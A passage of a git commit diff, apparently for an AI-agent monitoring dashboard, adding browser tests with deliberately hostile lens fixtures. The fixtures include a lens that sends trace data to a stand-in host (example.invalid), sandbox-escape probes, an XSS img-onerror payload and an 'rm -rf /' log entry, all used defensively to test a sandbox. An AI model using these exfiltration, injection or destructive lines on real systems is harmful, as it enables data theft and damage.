The cross-harness, self-improving memory layer for AI agents. Join our community: https://discord.com/invite/zdNChS2fBu
Go agent-ai-cliagent-harnessesagent-securitybrowser-extensionciclaude-codecloudcodexcursordetection-engineeringjevknowledge-basememorymobile-device-managementobservabilitysecuritysecurity-information-and-event-managementsecurity-toolstelemetrytraces
test(lenses): browser e2e for the lens sandbox
Claudeb5a1d5b1293e
diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.ymlindex 01ac48bb..ed0be190 100644--- a/.github/workflows/ci.yml+++ b/.github/workflows/ci.yml@@ -354,6 +354,48 @@ jobs:echo "ok: $bin is statically linked"done+ # Runs the real dashboard with hostile fixture lenses (testdata/lens-e2e) and drives the session+ # page in headless Chromium: every way out of the lens sandbox in spec/lenses/SPEC.md must be+ # refused, and a lens that throws, stalls or navigates must give way to the full session.+ lens-e2e:+ runs-on: ubuntu-latest+ timeout-minutes: 20+ defaults:+ run:+ working-directory: cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e+ steps:+ - uses: actions/checkout@v4+ - uses: ./.github/actions/setup-go+ with:+ modules: |+ cli/beacon+ cli/beacon-hooks+ pkg/asymptoteobserve+ - uses: actions/setup-node@v4+ with:+ node-version: 22+ cache: npm+ cache-dependency-path: cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/package-lock.json+ - name: Build platform-matched hooks binary+ working-directory: cli/beacon+ run: make build-hooks-current+ - name: Install test dependencies+ run: npm ci+ - name: Install Chromium+ run: npx playwright install --with-deps chromium+ - name: Run lens sandbox e2e+ run: npx playwright test+ - name: Upload Playwright report and traces+ if: failure()+ uses: actions/upload-artifact@v4+ with:+ name: lens-e2e-playwright-report+ path: |+ cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/playwright-report/+ cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/test-results/+ if-no-files-found: warn+ retention-days: 14+linux-test:runs-on: ubuntu-lateststeps:diff --git a/CLAUDE.md b/CLAUDE.mdindex 20111889..dbdcece6 100644--- a/CLAUDE.md+++ b/CLAUDE.md@@ -146,6 +146,18 @@ embedded copy under `cli/beacon/internal/endpoint/hooks/assets/`; a Go test fail`openclaw-beacon` syncs three files rather than one, because OpenClaw discovers a plugin as adirectory: the entry plus the two manifests it is declared in.+Run the lens sandbox browser tests (the real dashboard plus hostile fixture lenses; the hooks+binary must be built first). In a cloud session with a preinstalled Chromium, set `CHROMIUM_PATH`+instead of installing one:++```bash+cd cli/beacon && make build-hooks-current+cd internal/endpoint/dashboard/testdata/lens-e2e+npm ci+npx playwright install chromium # or: export CHROMIUM_PATH=/path/to/chromium+npx playwright test+```+Run TypeScript SDK checks:```bash@@ -542,6 +554,7 @@ unpacked through Chrome's developer mode.- `linux-test` (ubuntu) and `windows-test` (windows-2025) rerun the Go suites per platform. The Windows job tests a measured package list rather than `./...`; the excluded packages are tracked in #318, and the scope must not be widened back to `./...`.- `typescript-sdk` (Node 20, 22, 24): `npm test`, `npm run check`, `npm run build`, `npm run pack:dry-run`, `npm run pack:smoke` in `packages/asymptote-sdk-js`.- `browser-extension` (Node 22, matrix over `chromium` and `msedge`): `npm run check`, `npm run test:unit`, `npm run build`, a check that the build is a loadable MV3 extension, `npm run lint:firefox` (the Firefox build plus `web-ext lint --warnings-as-errors`), and the Playwright replay e2e running the real extension headless in that leg's browser (`BROWSER_CHANNEL`) against a local HTTPS replay server; the HTML report and traces upload on failure. Brave, Opera, Vivaldi and Arc have no Playwright channel; `BROWSER_EXECUTABLE` runs the same e2e against their binaries for the manual checklist in `docs/runtimes/browser-extension-chromium.mdx`.+- `lens-e2e` (ubuntu): runs the real dashboard handler with hostile fixture lenses (`cli/beacon/internal/endpoint/dashboard/e2eserver`, `testdata/lens-e2e`) and drives the session page in headless Chromium. Every escape from the lens sandbox must be refused, and a lens that throws, stalls or navigates must give way to the full session.- `beacon-sandbox` (ubuntu): `go build`, `go vet`, and `go test` for the verification harness. Hermetic — no Modal account, no API key, no paid resources.- `cross-build` (ubuntu): builds all five release targets and asserts the Linux binaries are statically linked (no `PT_INTERP`).- `package-smoke` (macOS): `packaging/macos/test-endpoint-scripts.sh`, a `build-pkg.sh` payload check, and `packaging/macos/smoke-endpoint.sh`.diff --git a/cli/beacon/internal/endpoint/dashboard/e2eserver/main.go b/cli/beacon/internal/endpoint/dashboard/e2eserver/main.gonew file mode 100644index 00000000..34e6e447--- /dev/null+++ b/cli/beacon/internal/endpoint/dashboard/e2eserver/main.go@@ -0,0 +1,31 @@+// Command e2eserver runs the real dashboard handler for the lens browser tests in+// testdata/lens-e2e. It is the dashboard plus lens files from disk (Options.LensFiles), so the tests+// can serve hostile lenses through the same frame route, CSP and prelude a user's lens gets.+package main++import (+ "flag"+ "fmt"+ "os"+ "strings"++ "github.com/asymptote-labs/agent-beacon/cli/beacon/internal/endpoint/dashboard"+)++type lensFlags []string++func (l *lensFlags) String() string { return strings.Join(*l, ",") }+func (l *lensFlags) Set(v string) error { *l = append(*l, v); return nil }++func main() {+ var lenses lensFlags+ addr := flag.String("addr", "127.0.0.1:8798", "loopback listen address")+ logPath := flag.String("log", "", "runtime JSONL log to serve")+ flag.Var(&lenses, "lens", "lens file to serve (repeatable)")+ flag.Parse()+ err := dashboard.ListenAndServe(dashboard.Options{Addr: *addr, LogPath: *logPath, UserMode: true, LensFiles: lenses})+ if err != nil {+ fmt.Fprintln(os.Stderr, err)+ os.Exit(1)+ }+}diff --git a/cli/beacon/internal/endpoint/dashboard/lenses.go b/cli/beacon/internal/endpoint/dashboard/lenses.goindex 40b3fb5c..7a3c0657 100644--- a/cli/beacon/internal/endpoint/dashboard/lenses.go+++ b/cli/beacon/internal/endpoint/dashboard/lenses.go@@ -6,6 +6,7 @@ import ("fmt""io/fs""net/http"+ "os""path""sort""strings"@@ -35,8 +36,13 @@ const lensFrameCSP = "default-src 'none'; script-src 'unsafe-inline'; style-src// lensFramePrefix is where the frame for a lens is served: /lenses/frame/<id>.const lensFramePrefix = "/lenses/frame/"-// LensSourceBuiltin marks a lens that ships in the binary.-const LensSourceBuiltin = "builtin"+// Lens sources.+const (+ // LensSourceBuiltin marks a lens that ships in the binary.+ LensSourceBuiltin = "builtin"+ // LensSourceFile marks a lens read from a file named in Options.LensFiles.+ LensSourceFile = "file"+)// LensInfo is one lens as the dashboard lists it.type LensInfo struct {@@ -55,7 +61,8 @@ type LensListResponse struct {type lens struct {info LensInfo- html []byte+ html []byte // a built-in's document+ path string // a file lens's location, read on every request}type lensRegistry struct {@@ -76,39 +83,93 @@ func loadBuiltinLenses(files fs.FS) (*lensRegistry, error) {if err != nil {return nil, err}- if len(html) > asymptoteobserve.LensMaxBytes {- return nil, fmt.Errorf("built-in lens %s is %d bytes, over the %d-byte limit", name, len(html), asymptoteobserve.LensMaxBytes)- }- manifest, err := asymptoteobserve.ParseLensManifest(html)+ manifest, err := checkLensFile(html)if err != nil {return nil, fmt.Errorf("built-in lens %s: %w", name, err)}- if err := manifest.Validate(); err != nil {- return nil, fmt.Errorf("built-in lens %s: %w", name, err)- }if want := manifest.ID + ".lens.html"; path.Base(name) != want {return nil, fmt.Errorf("built-in lens %s declares id %q; name the file %s", name, manifest.ID, want)}- if _, dup := registry.byID[manifest.ID]; dup {- return nil, fmt.Errorf("two built-in lenses declare id %q", manifest.ID)- }- registry.byID[manifest.ID] = lens{- info: LensInfo{- ID: manifest.ID,- Title: manifest.Title,- Description: manifest.Description,- Icon: manifest.Icon,- Version: manifest.Version,- Source: LensSourceBuiltin,- },- html: html,+ if err := registry.add(lens{info: lensInfo(manifest, LensSourceBuiltin), html: html}); err != nil {+ return nil, err}- registry.order = append(registry.order, manifest.ID)}- sort.Strings(registry.order)return registry, nil}+// addLensFiles registers lenses read from disk, such as a lens under development. Each file is+// checked now and again on every request, so an edit shows on the next reload and a file that+// stops being a valid lens stops being served. A file lens cannot take a built-in's ID.+func (r *lensRegistry) addLensFiles(paths []string) error {+ for _, file := range paths {+ html, err := os.ReadFile(file)+ if err != nil {+ return err+ }+ manifest, err := checkLensFile(html)+ if err != nil {+ return fmt.Errorf("lens %s: %w", file, err)+ }+ if err := r.add(lens{info: lensInfo(manifest, LensSourceFile), path: file}); err != nil {+ return fmt.Errorf("lens %s: %w", file, err)+ }+ }+ return nil+}++func (r *lensRegistry) add(l lens) error {+ if _, dup := r.byID[l.info.ID]; dup {+ return fmt.Errorf("lens id %q is already taken", l.info.ID)+ }+ r.byID[l.info.ID] = l+ r.order = append(r.order, l.info.ID)+ sort.Strings(r.order)+ return nil+}++// checkLensFile applies the spec's file rules: the size cap and a valid manifest.+func checkLensFile(html []byte) (asymptoteobserve.LensManifestV1, error) {+ if len(html) > asymptoteobserve.LensMaxBytes {+ return asymptoteobserve.LensManifestV1{}, fmt.Errorf("%d bytes is over the %d-byte limit", len(html), asymptoteobserve.LensMaxBytes)+ }+ manifest, err := asymptoteobserve.ParseLensManifest(html)+ if err != nil {+ return manifest, err+ }+ return manifest, manifest.Validate()+}++func lensInfo(manifest asymptoteobserve.LensManifestV1, source string) LensInfo {+ return LensInfo{+ ID: manifest.ID,+ Title: manifest.Title,+ Description: manifest.Description,+ Icon: manifest.Icon,+ Version: manifest.Version,+ Source: source,+ }+}++// document returns the lens document to serve. A file lens is re-read and re-checked, and must+// still declare the ID it was registered under.+func (l lens) document() ([]byte, error) {+ if l.path == "" {+ return l.html, nil+ }+ html, err := os.ReadFile(l.path)+ if err != nil {+ return nil, err+ }+ manifest, err := checkLensFile(html)+ if err != nil {+ return nil, err+ }+ if manifest.ID != l.info.ID {+ return nil, fmt.Errorf("lens now declares id %q, not %q", manifest.ID, l.info.ID)+ }+ return html, nil+}+func (r *lensRegistry) list() LensListResponse {out := LensListResponse{Lenses: make([]LensInfo, 0, len(r.order))}for _, id := range r.order {@@ -158,6 +219,11 @@ func (r *lensRegistry) serveLensFrame(w http.ResponseWriter, req *http.Request)http.NotFound(w, req)return}+ document, err := found.document()+ if err != nil {+ writeError(w, http.StatusInternalServerError, fmt.Errorf("lens %s: %w", id, err))+ return+ }h := w.Header()h.Set("Content-Security-Policy", lensFrameCSP)h.Del("X-Frame-Options")@@ -168,5 +234,5 @@ func (r *lensRegistry) serveLensFrame(w http.ResponseWriter, req *http.Request)if req.Method == http.MethodHead {return}- _, _ = w.Write(withLensPrelude(found.html))+ _, _ = w.Write(withLensPrelude(document))}diff --git a/cli/beacon/internal/endpoint/dashboard/lenses_test.go b/cli/beacon/internal/endpoint/dashboard/lenses_test.goindex 428d8806..c0ac232f 100644--- a/cli/beacon/internal/endpoint/dashboard/lenses_test.go+++ b/cli/beacon/internal/endpoint/dashboard/lenses_test.go@@ -249,3 +249,80 @@ func TestLensTokensMatchTheSpec(t *testing.T) {}}}++func writeLensFile(t *testing.T, dir, id, body string) string {+ t.Helper()+ path := filepath.Join(dir, id+".lens.html")+ html := `<!doctype html><script type="application/beacon-lens+json">{"id":"` + id + `","title":"Dev ` + id + `","version":1,"api":"beacon.lens.v1"}</script>` + body+ if err := os.WriteFile(path, []byte(html), 0o600); err != nil {+ t.Fatal(err)+ }+ return path+}++func TestLensFilesAreServedAndReReadOnEveryRequest(t *testing.T) {+ dir := t.TempDir()+ path := writeLensFile(t, dir, "dev-lens", "<p>first</p>")+ handler, err := Handler(Options{UserMode: true, LogPath: filepath.Join(dir, "runtime.jsonl"), LensFiles: []string{path}})+ if err != nil {+ t.Fatal(err)+ }++ var list LensListResponse+ if err := json.Unmarshal(serve(handler, http.MethodGet, "/api/lenses").Body.Bytes(), &list); err != nil {+ t.Fatal(err)+ }+ sources := map[string]string{}+ for _, l := range list.Lenses {+ sources[l.ID] = l.Source+ }+ if sources["dev-lens"] != LensSourceFile || sources["activity"] != LensSourceBuiltin {+ t.Fatalf("lens sources = %v", sources)+ }++ rec := serve(handler, http.MethodGet, "/lenses/frame/dev-lens")+ if rec.Code != http.StatusOK || !strings.Contains(rec.Body.String(), "<p>first</p>") || rec.Header().Get("Content-Security-Policy") != lensFrameCSP {+ t.Fatalf("file lens = %d %q", rec.Code, rec.Body.String())+ }+ writeLensFile(t, dir, "dev-lens", "<p>second</p>")+ if body := serve(handler, http.MethodGet, "/lenses/frame/dev-lens").Body.String(); !strings.Contains(body, "<p>second</p>") {+ t.Fatal("an edited lens file was not re-read")+ }++ // A file that stops being the same valid lens stops being served.+ writeLensFile(t, dir, "renamed", "")+ if err := os.Rename(filepath.Join(dir, "renamed.lens.html"), path); err != nil {+ t.Fatal(err)+ }+ if rec := serve(handler, http.MethodGet, "/lenses/frame/dev-lens"); rec.Code != http.StatusInternalServerError {+ t.Fatalf("lens that changed its id = %d, want 500", rec.Code)+ }+ if err := os.WriteFile(path, []byte("<p>no manifest</p>"), 0o600); err != nil {+ t.Fatal(err)+ }+ if rec := serve(handler, http.MethodGet, "/lenses/frame/dev-lens"); rec.Code != http.StatusInternalServerError {+ t.Fatalf("lens without a manifest = %d, want 500", rec.Code)+ }+}++func TestLensFilesAreCheckedAtStartup(t *testing.T) {+ dir := t.TempDir()+ logPath := filepath.Join(dir, "runtime.jsonl")+ broken := filepath.Join(dir, "broken.lens.html")+ if err := os.WriteFile(broken, []byte("<p>no manifest</p>"), 0o600); err != nil {+ t.Fatal(err)+ }+ cases := map[string][]string{+ "missing file": {filepath.Join(dir, "absent.lens.html")},+ "no manifest": {broken},+ "built-in id": {writeLensFile(t, dir, "activity", "")},+ "duplicate file ids": {writeLensFile(t, dir, "twin", ""), writeLensFile(t, t.TempDir(), "twin", "")},+ }+ for name, files := range cases {+ t.Run(name, func(t *testing.T) {+ if _, err := Handler(Options{UserMode: true, LogPath: logPath, LensFiles: files}); err == nil {+ t.Fatal("Handler accepted a bad lens file")+ }+ })+ }+}diff --git a/cli/beacon/internal/endpoint/dashboard/server.go b/cli/beacon/internal/endpoint/dashboard/server.goindex 945bcdd4..1406c1ec 100644--- a/cli/beacon/internal/endpoint/dashboard/server.go+++ b/cli/beacon/internal/endpoint/dashboard/server.go@@ -30,6 +30,9 @@ type Options struct {Addr stringLogPath stringUserMode bool+ // LensFiles are lens files served alongside the built-ins, read from disk on every request.+ // They are for developing a lens; the dashboard never writes them.+ LensFiles []string}type StatusResponse struct {@@ -94,6 +97,9 @@ func Handler(opts Options) (http.Handler, error) {if err != nil {return nil, err}+ if err := lenses.addLensFiles(opts.LensFiles); err != nil {+ return nil, err+ }mux := http.NewServeMux()mux.HandleFunc("/api/status", func(w http.ResponseWriter, r *http.Request) {if r.Method != http.MethodGet {diff --git a/cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/.gitignore b/cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/.gitignorenew file mode 100644index 00000000..706a05f9--- /dev/null+++ b/cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/.gitignore@@ -0,0 +1,4 @@+test-results/+playwright-report/+# The fixture log is test input, not a runtime log (the root .gitignore ignores *.jsonl).+!fixtures/runtime.jsonldiff --git a/cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/fixtures/navigator.lens.html b/cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/fixtures/navigator.lens.htmlnew file mode 100644index 00000000..598b7bec--- /dev/null+++ b/cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/fixtures/navigator.lens.html@@ -0,0 +1,15 @@+<!doctype html>+<html lang="en">+<head>+<meta charset="utf-8">+<script type="application/beacon-lens+json">{"id":"navigator","title":"Navigator","version":1,"api":"beacon.lens.v1"}</script>+</head>+<body>+<p>leaving</p>+<script>+window.beacon.getTrace().then(function (data) {+ location.href = "https://example.invalid/collect?d=" + encodeURIComponent(data.trace.id);+});+</script>+</body>+</html>diff --git a/cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/fixtures/probe.lens.html b/cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/fixtures/probe.lens.htmlnew file mode 100644index 00000000..0e9f0234--- /dev/null+++ b/cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/fixtures/probe.lens.html@@ -0,0 +1,84 @@+<!doctype html>+<html lang="en">+<head>+<meta charset="utf-8">+<script type="application/beacon-lens+json">{"id":"probe","title":"Probe","version":1,"api":"beacon.lens.v1"}</script>+</head>+<body>+<pre id="results"></pre>+<script>+// Hostile on purpose: tries every way out of the sandbox and records what happened.+var seenPorts = 0;+window.addEventListener("message", function (event) { if (event.ports && event.ports.length) seenPorts += 1; }, true);+window.addEventListener("message", function (event) { if (event.ports && event.ports.length) seenPorts += 1; });++function attempt(fn) {+ return Promise.resolve().then(fn).then(function (v) { return "allowed:" + v; }, function (e) { return "blocked"; });+}+function loads(tag, attr, url) {+ return new Promise(function (resolve) {+ var el = document.createElement(tag);+ el.onload = function () { resolve("allowed"); };+ el.onerror = function () { resolve("blocked"); };+ el[attr] = url;+ document.body.appendChild(el);+ setTimeout(function () { resolve("blocked"); }, 2000);+ });+}++// A spoofed message to the host must change nothing; the host only listens on its port.+window.parent.postMessage({ type: "getTrace" }, "*");+window.parent.postMessage({ type: "resize", height: 99999 }, "*");+try { window.beacon = { getTrace: function () { return Promise.resolve({ forged: true }); } }; } catch (e) {}++window.beacon.getTrace().then(async function (data) {+ var r = {};+ r.traceId = data.trace.id;+ r.events = data.trace.events.length;+ r.forged = !!data.forged;+ r.fetchSameOrigin = await attempt(function () { return fetch("/api/status?via=fetch").then(function (x) { return x.status; }); });+ r.fetchRemote = await attempt(function () { return fetch("https://example.invalid/x?via=fetch-remote").then(function (x) { return x.status; }); });+ r.xhr = await attempt(function () {+ return new Promise(function (resolve, reject) {+ var x = new XMLHttpRequest(); x.open("GET", "/api/status?via=xhr"); x.onload = function () { resolve(x.status); }; x.onerror = reject; x.send();+ });+ });+ r.websocket = await attempt(function () {+ return new Promise(function (resolve, reject) {+ var ws = new WebSocket("ws://" + location.host + "/?via=websocket"); ws.onopen = function () { resolve("open"); }; ws.onerror = reject;+ });+ });+ // sendBeacon reports only that a beacon was queued, not sent, so its result proves nothing; the+ // test checks that no request carrying via=beacon ever left the page.+ try { navigator.sendBeacon("/api/status?via=beacon", "x"); navigator.sendBeacon("https://example.invalid/?via=beacon", "x"); } catch (e) {}+ r.image = await loads("img", "src", "/logo.svg?via=image");+ r.nestedFrame = await attempt(function () {+ return new Promise(function (resolve, reject) {+ var f = document.createElement("iframe"); f.src = "/lenses/frame/activity?via=frame";+ f.onload = function () { try { f.contentWindow.document; resolve("loaded"); } catch (e) { reject(e); } };+ document.body.appendChild(f); setTimeout(function () { reject(new Error("timeout")); }, 2000);+ });+ });+ r.parentDocument = await attempt(function () { return window.parent.document.title; });+ r.topLocation = await attempt(function () { return window.top.location.href; });+ r.localStorage = await attempt(function () { return localStorage.length; });+ r.cookie = await attempt(function () { return document.cookie; });+ r.eval = await attempt(function () { return eval("1 + 1"); });+ r.newFunction = await attempt(function () { return new Function("return 2")(); });+ r.popup = await attempt(function () { var w = window.open("/?via=popup"); if (!w) throw new Error("no window"); return "opened"; });+ // A Worker object exists even when its script is refused; only a message from inside proves it ran.+ r.worker = await attempt(function () {+ return new Promise(function (resolve, reject) {+ var w = new Worker(URL.createObjectURL(new Blob(["postMessage('ran')"], { type: "text/javascript" })));+ w.onmessage = function (e) { resolve(e.data); };+ w.onerror = function () { reject(new Error("refused")); };+ setTimeout(function () { reject(new Error("timeout")); }, 2000);+ });+ });+ r.origin = self.origin;+ r.seenPorts = seenPorts;+ document.getElementById("results").textContent = JSON.stringify(r);+});+</script>+</body>+</html>diff --git a/cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/fixtures/runtime.jsonl b/cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/fixtures/runtime.jsonlnew file mode 100644index 00000000..77326b71--- /dev/null+++ b/cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/fixtures/runtime.jsonl@@ -0,0 +1,2 @@+{"timestamp":"2026-06-11T10:00:00Z","vendor":"beacon","product":"endpoint-agent","schema_version":"1.0","event":{"id":"evt-prompt","kind":"agent_runtime","action":"prompt.submitted","category":"prompt"},"severity":"info","endpoint":{"os":"linux"},"harness":{"name":"claude_code"},"session":{"id":"s1"},"prompt":{"text":"clean up <img src=x onerror=\"window.parent.document.title='pwned'\">"},"message":"prompt.submitted"}+{"timestamp":"2026-06-11T10:01:00Z","vendor":"beacon","product":"endpoint-agent","schema_version":"1.0","event":{"id":"evt-rm","kind":"agent_runtime","action":"command.executed","category":"command"},"severity":"info","endpoint":{"os":"linux"},"harness":{"name":"claude_code"},"session":{"id":"s1"},"command":{"command":"rm -rf /","exit_code":1},"message":"command.executed"}diff --git a/cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/fixtures/staller.lens.html b/cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/fixtures/staller.lens.htmlnew file mode 100644index 00000000..49c7b67f--- /dev/null+++ b/cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/fixtures/staller.lens.html@@ -0,0 +1,10 @@+<!doctype html>+<html lang="en">+<head>+<meta charset="utf-8">+<script type="application/beacon-lens+json">{"id":"staller","title":"Staller","version":1,"api":"beacon.lens.v1"}</script>+</head>+<body>+<p>This lens never asks for its trace.</p>+</body>+</html>diff --git a/cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/fixtures/tall.lens.html b/cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/fixtures/tall.lens.htmlnew file mode 100644index 00000000..e38c2fbc--- /dev/null+++ b/cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/fixtures/tall.lens.html@@ -0,0 +1,13 @@+<!doctype html>+<html lang="en">+<head>+<meta charset="utf-8">+<script type="application/beacon-lens+json">{"id":"tall","title":"Tall","version":1,"api":"beacon.lens.v1"}</script>+</head>+<body>+<div id="block" hidden style="height:2400px">tall</div>+<script>+window.beacon.getTrace().then(function () { document.getElementById("block").hidden = false; });+</script>+</body>+</html>diff --git a/cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/fixtures/thrower.lens.html b/cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/fixtures/thrower.lens.htmlnew file mode 100644index 00000000..556037ed--- /dev/null+++ b/cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/fixtures/thrower.lens.html@@ -0,0 +1,12 @@+<!doctype html>+<html lang="en">+<head>+<meta charset="utf-8">+<script type="application/beacon-lens+json">{"id":"thrower","title":"Thrower","version":1,"api":"beacon.lens.v1"}</script>+</head>+<body>+<script>+throw new Error("boom before render");+</script>+</body>+</html>diff --git a/cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/package-lock.json b/cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/package-lock.jsonnew file mode 100644index 00000000..559ea5f5--- /dev/null+++ b/cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/package-lock.json@@ -0,0 +1,58 @@+{+ "name": "beacon-lens-e2e",+ "lockfileVersion": 3,+ "requires": true,+ "packages": {+ "": {+ "name": "beacon-lens-e2e",+ "devDependencies": {+ "@playwright/test": "^1.55.0"+ }+ },+ "node_modules/@playwright/test": {+ "version": "1.63.0",+ "resolved": "https://registry.npmjs.org/@playwright/test/-/test-1.63.0.tgz",+ "integrity": "sha512-oxMK4vllB9RK5NQ2l1pq1IfOf2AvnEuj/vYGDj0H2nMtmtZpKtCwt/l00GEO6xjGfpBNAvjovvYdCm50dRQkpQ==",+ "dev": true,+ "license": "Apache-2.0",+ "dependencies": {+ "playwright": "1.63.0"+ },+ "bin": {+ "playwright": "cli.js"+ },+ "engines": {+ "node": ">=20"+ }+ },+ "node_modules/playwright": {+ "version": "1.63.0",+ "resolved": "https://registry.npmjs.org/playwright/-/playwright-1.63.0.tgz",+ "integrity": "sha512-+7ziBLidS4NaNCdt57SUDT+wYmmd5fmiQejUic/kb+YsYSCPyOOE9sebzMjNmQrsnNpDJqd4WHvV/8lfKfUDUg==",+ "dev": true,+ "license": "Apache-2.0",+ "dependencies": {+ "playwright-core": "1.63.0"+ },+ "bin": {+ "playwright": "cli.js"+ },+ "engines": {+ "node": ">=20"+ }+ },+ "node_modules/playwright-core": {+ "version": "1.63.0",+ "resolved": "https://registry.npmjs.org/playwright-core/-/playwright-core-1.63.0.tgz",+ "integrity": "sha512-rYCsBF/M5HjUch52bbtVONEFjv6Xu8sm8h72dNlR5bzIE1fvC/bxgspzkjSfU+MweEMmPM8KJebG6nnyxo5mCg==",+ "dev": true,+ "license": "Apache-2.0",+ "bin": {+ "playwright-core": "cli.js"+ },+ "engines": {+ "node": ">=20"+ }+ }+ }+}diff --git a/cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/package.json b/cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/package.jsonnew file mode 100644index 00000000..4e008436--- /dev/null+++ b/cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/package.json@@ -0,0 +1,11 @@+{+ "name": "beacon-lens-e2e",+ "private": true,+ "description": "Browser tests for the dashboard's lens sandbox (spec/lenses/SPEC.md).",+ "scripts": {+ "test": "playwright test"+ },+ "devDependencies": {+ "@playwright/test": "^1.55.0"+ }+}diff --git a/cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/playwright.config.ts b/cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/playwright.config.tsnew file mode 100644index 00000000..e9f261e7--- /dev/null+++ b/cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/playwright.config.ts@@ -0,0 +1,36 @@+import { mkdtempSync } from 'node:fs';+import { tmpdir } from 'node:os';+import { join } from 'node:path';+import { defineConfig } from '@playwright/test';++/**+ * Runs the real dashboard handler (../../e2eserver) with the hostile fixture lenses and drives the+ * session page in Chromium. HOME is a fresh directory so the rule store is empty and the embedded+ * baseline rules run, and no opt-in trace history exists.+ */+const port = Number(process.env.LENS_E2E_PORT || 8798);+const lenses = ['probe', 'navigator', 'thrower', 'staller', 'tall']+ .map((id) => `--lens fixtures/${id}.lens.html`)+ .join(' ');++export default defineConfig({+ testDir: './tests',+ forbidOnly: !!process.env.CI,+ retries: 0,+ workers: 1,+ timeout: 30_000,+ reporter: [['list'], ['html', { open: 'never' }]],+ use: {+ baseURL: `http://127.0.0.1:${port}`,+ trace: 'retain-on-failure',+ screenshot: 'only-on-failure',+ launchOptions: process.env.CHROMIUM_PATH ? { executablePath: process.env.CHROMIUM_PATH } : {},+ },+ webServer: {+ command: `go run ../../e2eserver --addr 127.0.0.1:${port} --log fixtures/runtime.jsonl ${lenses}`,+ url: `http://127.0.0.1:${port}/api/lenses`,+ timeout: 180_000,+ reuseExistingServer: false,+ env: { HOME: mkdtempSync(join(tmpdir(), 'beacon-lens-e2e-')) },+ },+});diff --git a/cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/tests/lenses.spec.ts b/cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/tests/lenses.spec.tsnew file mode 100644index 00000000..50e832e7--- /dev/null+++ b/cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/tests/lenses.spec.ts@@ -0,0 +1,139 @@+import { expect, test, type Page } from '@playwright/test';++// Requests the page made anywhere but the dashboard. A lens has no business reaching any of them,+// and they are aborted so a failing test never touches the network.+async function trackOffsite(page: Page): Promise<string[]> {+ const offsite: string[] = [];+ const origin = new URL(test.info().project.use.baseURL!).origin;+ await page.route('**/*', (route) => {+ const url = route.request().url();+ if (url.startsWith(origin)) return route.continue();+ offsite.push(url);+ return route.abort();+ });+ return offsite;+}++// Every request the probe lens tries carries a via= marker. Chromium reports a request the CSP+// refused as a request that failed with "csp" before it left the browser; any other outcome for a+// marked request -- a response, or a failure for another reason -- means it was sent, whatever the+// API told the lens.+function trackProbeRequests(page: Page): string[] {+ const escaped: string[] = [];+ page.on('requestfinished', (request) => {+ if (request.url().includes('via=')) escaped.push(`sent ${request.method()} ${request.url()}`);+ });+ page.on('requestfailed', (request) => {+ const reason = request.failure()?.errorText ?? '';+ if (request.url().includes('via=') && reason !== 'csp') escaped.push(`${reason} ${request.method()} ${request.url()}`);+ });+ page.on('websocket', (ws) => escaped.push(`websocket ${ws.url()}`));+ return escaped;+}++const lensFrame = (page: Page) => page.frameLocator('iframe.lens-frame');++async function openLens(page: Page, id: string) {+ await page.goto(`/session.html?id=s1&lens=${id}`);+ await expect(page.locator('#session-detail-view')).toBeVisible();+}++async function expectFellBack(page: Page, reason: RegExp) {+ await expect(page.locator('#lens-notice')).toBeVisible({ timeout: 15_000 });+ await expect(page.locator('#lens-notice')).toContainText(reason);+ await expect(page.locator('#session-detail-view')).toHaveAttribute('data-view', 'full');+ await expect(page.locator('iframe.lens-frame')).toHaveCount(0);+ expect(new URL(page.url()).searchParams.get('lens')).toBeNull();+}++test('the built-in activity lens renders the session and its finding', async ({ page }) => {+ const offsite = await trackOffsite(page);+ await openLens(page, 'activity');+ const frame = lensFrame(page);+ await expect(frame.locator('#root')).toBeVisible();+ await expect(frame.locator('#root')).toContainText('rm -rf /');+ await expect(frame.locator('#root')).toContainText('Recursive delete targeting a sensitive root path');+ await expect(page.locator('#lens-status')).toBeHidden();+ await expect(page.locator('.lens-tab[aria-selected="true"]')).toContainText('Activity');+ await expect(page.locator('.session-events-panel')).toBeHidden();+ // The prompt carries markup that would retitle the dashboard if it were ever parsed as HTML.+ expect(await page.title()).not.toBe('pwned');+ expect(offsite).toEqual([]);+});++test('a lens cannot reach the network, the dashboard, storage or code evaluation', async ({ page }) => {+ const offsite = await trackOffsite(page);+ const escaped = trackProbeRequests(page);+ await openLens(page, 'probe');+ const results = lensFrame(page).locator('#results');+ await expect(results).not.toBeEmpty({ timeout: 15_000 });+ const r = JSON.parse((await results.textContent())!);++ expect(r.traceId).toBe('session:claude_code:s1');+ expect(r.events).toBe(2);+ 